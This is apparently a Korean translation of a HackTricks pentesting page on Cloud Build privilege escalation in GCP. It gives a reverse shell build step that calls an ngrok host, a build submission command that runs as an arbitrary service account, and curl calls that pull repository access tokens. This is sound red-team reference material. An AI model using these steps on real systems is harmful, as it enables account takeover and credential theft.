GCP - Cloudbuild Privesc

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

cloudbuild

Cloud Build에 대한 자세한 정보는 다음을 확인하세요:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

이 권한을 사용하면 클라우드 빌드를 제출할 수 있습니다. cloudbuild 머신의 파일 시스템에는 기본적으로 cloudbuild 서비스 계정의 토큰이 포함되어 있습니다: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. 그러나 클라우드빌드 구성에서 프로젝트 내의 모든 서비스 계정을 지정할 수 있습니다.
따라서 머신이 토큰을 서버로 유출하거나 그 안에서 리버스 셸을 얻어 토큰을 가져올 수 있습니다 (토큰이 포함된 파일은 변경될 수 있습니다).

gcloud CLI를 통한 직접적인 악용

1- cloudbuild.yaml을 생성하고 리스너 데이터로 수정합니다.

yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY

2- 소스가 없는 간단한 빌드를 업로드하고, yaml 파일을 지정하고 빌드에 사용할 SA를 지정합니다:

bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com

Using python gcloud library

원래의 익스플로잇 스크립트는 여기 GitHub에서 찾을 수 있습니다 (하지만 토큰을 가져오는 위치는 저에게는 작동하지 않았습니다). 따라서 취약한 환경의 생성, 익스플로잇 및 정리를 자동화하는 스크립트는 여기에서 확인하고, 클라우드빌드 머신 내에서 리버스 셸을 얻고 탈취하는 파이썬 스크립트는 여기에서 확인하세요 (코드에서 다른 서비스 계정을 지정하는 방법을 찾을 수 있습니다).

더 자세한 설명은 https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/를 방문하세요.

cloudbuild.repositories.accessReadToken

이 권한을 통해 사용자는 리포지토리에 접근하는 데 사용되는 읽기 접근 토큰을 얻을 수 있습니다:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

이 권한을 사용하면 사용자가 리포지토리에 접근하는 데 사용되는 읽기 및 쓰기 액세스 토큰을 얻을 수 있습니다:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

이 권한을 사용하면 연결이 접근할 수 있는 리포지토리를 가져올 수 있습니다:

bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기